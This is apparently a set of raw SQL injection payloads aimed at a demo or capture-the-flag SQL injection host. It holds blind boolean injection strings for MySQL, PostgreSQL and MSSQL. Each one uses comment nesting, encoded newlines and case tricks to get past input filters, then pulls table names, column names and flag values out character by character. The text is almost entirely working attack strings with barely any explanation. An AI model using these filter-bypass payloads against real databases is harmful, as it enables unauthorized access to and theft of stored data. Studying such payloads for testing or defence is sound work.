type=mysql&id='="/*"=FIELD(if(substr((/*/*/SelEct+table_name+from{a+%0dinformation_schema%23%0a.%0atables}+where+table_schema='test'+limit+0,1),1,1)='b',1,3),1,3)%23 

FIELD(if(1=1,1,3)1,3)

select a from {a+%0dinformation_schema%23%0a.%0acolumns}

"=feld(if(substr((/*/

http://sqli.aliyundemo.com/query?type=mysql&id='="/*"=FIELD(if(substr((/*/*/SelEct+table_name+from{a+%0dinformation_schema%23%0a.%0atables}+where+table_schema='test'+limit+0,1),1,1)='b',1,3),1,3)%23 

http://sqli.aliyundemo.com/query?type=mysql&id='="/*"=FIELD(if(substr((/*/*/SelEct+column_name+from{a+%0dinformation_schema%23%0a.%0acolumns}+where+table_schema='test'+and+table_name='boy'+limit+4,1),1,1)='b',1,3),1,3)%23

http://sqli.aliyundemo.com/query?type=mysql&id='="/*"=FIELD(if(substr((/*/*/SelEct+flag+from{a+flag_a4f69eb5719562771ece9729f6a58983}+limit+0,1),1,1)='2',1,3),1,3)%23

http://sqli.aliyundemo.com/query?type=psql&id=/*'or+'0'!=position(substr((/*a*/SELECT+flag+from+flag_9740453557b698bee491c3fd9f2f3c69),2,1)+in+'0')+--+

'0'!=position(substr('abc',1,1) in 'a')

&id=/*'or+'0'!=position(substr((/*a*/select

/*'or+'0'!=position(substr((/*a*/被注释

http://sqli.aliyundemo.com/query?type=psql&id=/*'or+'0'!=position(substr((/*a*/select+flag+from+flag_9740453557b698bee491c3fd9f2f3c69),1,1)+in+'0')+--+

123'AND 1=len('/*')/(seleCT -- */name from master..sysdatabases for xml path) --

22329-len('/*')/@@version

2-len('/*')/(case when substring(db_name(),1,1)='x' then 0 else 1 end)

​​​​​​